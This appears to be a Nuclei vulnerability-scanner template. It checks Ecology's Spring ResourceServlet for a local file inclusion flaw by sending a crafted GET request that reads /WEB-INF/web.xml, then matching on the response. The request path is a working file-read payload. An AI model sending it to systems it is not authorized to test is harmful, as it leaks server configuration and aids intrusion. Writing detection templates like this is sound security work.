id: ecology-springframework-directory-traversal

info:
  name: Ecology Springframework - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology Springframework is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: ecology,springframework,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body
# digest: 4a0a0047304502205f6c7efd01bc3cecc1e8c97c2791f32504dc5b09e24e67aff5d7d3af26e1bcb9022100a01dbf76b574c6627241262acd4c4a2094b50422b3bc955c72c6442c9fe47df7:922c64590222798bb761d5b6d8e72950